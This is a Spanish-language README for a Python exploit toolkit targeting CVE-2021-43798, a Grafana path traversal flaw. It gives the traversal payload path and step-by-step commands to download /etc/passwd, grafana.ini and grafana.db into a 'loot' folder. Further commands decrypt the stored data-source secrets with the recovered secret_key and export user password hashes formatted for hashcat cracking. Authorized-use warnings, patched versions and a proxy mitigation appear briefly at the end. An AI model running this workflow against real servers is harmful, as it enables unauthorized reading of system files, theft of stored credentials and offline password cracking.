
Kit de herramientas en Python para pruebas autorizadas del path traversal CVE-2021-43798 de Grafana, con PoC de lectura arbitraria de archivos, descifrado de secretos y exportación de hashes de usuario para evaluaciones de seguridad.
Kit de herramientas en Python para pruebas autorizadas de CVE-2021-43798, una vulnerabilidad de path traversal en Grafana que puede permitir lecturas arbitrarias de archivos sin autenticación a través de rutas de activos de plugins.
Este repositorio contiene:
grafana_poc.py: PoC interactivo de lectura arbitraria de archivos que guarda los archivos descargados localmente.grafana_pass_decryptor.py: asistente para descifrar secretos de fuentes de datos de Grafana cifrados cuando grafana.ini y/o la secret_key están disponibles, y para exportar los hashes de contraseñas de usuarios de Grafana desde grafana.db.Utilice este proyecto únicamente en sistemas que posea, opere, o para los que tenga permiso explícito por escrito para realizar pruebas. La explotación no autorizada puede exponer archivos sensibles, credenciales, claves privadas, contenidos de bases de datos y hashes de contraseñas de usuarios.
CVE-2021-43798 afecta a las versiones de Grafana desde 8.0.0-beta1 hasta 8.3.0. Las versiones parcheadas son 8.3.1, 8.2.7, 8.1.8 y 8.0.7.
El problema es accesible a través de rutas de activos de plugins como:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
Los archivos comunes solicitados durante una validación autorizada incluyen:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
El acceso depende de los permisos del sistema operativo del proceso de Grafana.
requestspycryptodome o cryptography para el descifrado de secretosInstalar dependencias:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Ejecute el PoC interactivo contra un objetivo autorizado:
python3 grafana_poc.py -H http://target:3000 -o loot
En el prompt, introduzca rutas absolutas:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Los archivos descargados se guardan en el directorio de salida preservando una versión segura de la ruta remota, por ejemplo:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
Si tiene tanto grafana.ini como grafana.db, el descifrador puede leer la secret_key del archivo de configuración e intentar descifrar secretos cifrados de fuentes de datos, notificaciones de alertas y plugins:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Descifre un blob cifrado manualmente:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Imprimir JSON delimitado por nuevas líneas:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Las contraseñas de usuarios de Grafana no son secretos cifrados. Son hashes PBKDF2 con sal. Expórtelos desde la tabla user:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Exportar solo las líneas del modo 10900 de hashcat:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Actualice Grafana a una versión parcheada:
8.3.1 o posterior para la rama 8.38.2.7 o posterior para la rama 8.28.1.8 o posterior para la rama 8.18.0.7 o posterior para la rama 8.0Si la actualización inmediata no es posible, el aviso de Grafana señala que colocar un proxy inverso delante de Grafana que normalice las rutas de las solicitudes puede mitigar el comportamiento de traversal. Trate esto como un control temporal, no como un reemplazo del parche.
El PoC público original se atribuye a s1gh en Exploit-DB. El flujo de trabajo de descifrado de secretos de Grafana está inspirado en investigaciones públicas y ejemplos de jas502n/Grafana-CVE-2021-43798, y este repositorio proporciona un asistente en Python para flujos de trabajo de laboratorio y evaluaciones autorizadas.